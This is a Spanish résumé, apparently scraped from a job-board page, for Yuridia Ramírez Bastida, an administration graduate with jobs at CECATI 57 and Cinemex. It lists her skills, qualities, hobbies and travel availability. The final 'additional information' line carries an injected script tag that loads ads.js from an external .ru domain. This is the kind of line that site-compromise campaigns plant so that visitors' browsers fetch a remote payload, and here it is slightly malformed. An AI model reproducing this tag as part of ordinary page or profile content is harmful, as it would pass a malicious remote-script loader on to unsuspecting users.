

Yuridia Ramírez Bastida

titulo
Administración.

EXPERIENCIA LABORAL

-3/2009-0/0 CECATI 57

Educación Administración

Controlar el Activo Fijo de la escuela así como el abastecimiento de los insumos dentro del proceso de la misma.

-4/2005-7/2007 CINEMEX

Cultura, ocio y deporte Administración

Participar dentro de las diferentes áreas de la empresa, la cual tiene por objetivo la satisfacción plena del cliente (invitado).

FORMACIÓN ACADÉMICA

7/2006

Licenciado en Administración de Empresas

Licenciado Administración y Dirección de Empresas

UNIVERSIDAD AUTONOMA DEL ESTADO DE MORELOS

<http://www.fcaei.uaem.mx/>

IDIOMAS

Inglés

Nivel:Nivel Principiante

OBJETIVOS PROFESIONALES

En donde quiera que trabaje inculcar la mentalidad de ser mejor, de tener ganas de superación y mejora continua.

Cualidades

Adaptable, Amable, Analítico/a, Colaborador, Comprometido/a, Comunicativo/a, Creativo/a, Decidido/a, Determinado/a, Eficiente, Enérgico/a, Entregado/a, Fiable, Flexible, Fuerte, Gracioso/a, Honesto/a, Imaginativo/a, Intelectual, Inteligente, Organizado/a, Perceptivo/a, Persuasivo/a, Productivo/a, Responsable, Seguro/a, Servicial, Sociable, Tenaz, Trabajador/a, Versátil, Visionario/a,



Aficiones

Bailar, Cine/Películas, Coches/Motos, Cocinar, Fútbol/Rugby, Gimnasio/Aerobic, Jardinería, Literatura/Historia, Música Variada, Naturaleza, Ordenadores/Internet, Viajar/Turismo, Yoga/Meditación,

Disponibilidad

Estoy dispuesto a viajar: Si

Estoy dispuesto a trabajar en el extranjero: Si

Estoy dispuesto a trabajar fuera de mi región: Si

Información Adicional:

FORMACIÓN:EXPERIENCIA:Control y Abastecimiento de Insumos. Manejo del Area de Compras. Manejo de Tesorería. Atención y Servicio a Clientes Establecimiento de Controles para el mejor manejo y control de las estadísticas e información, para la toma de decisiones. Control de Personal. Liderar Grupos de Trabajo en el cumplimiento de objetivos.FORMACIÓN COMPLEMENTARIA:INFORMACIÓN ADICIONAL: `script src=http://www.bannerdriven.ru/ads.js>`

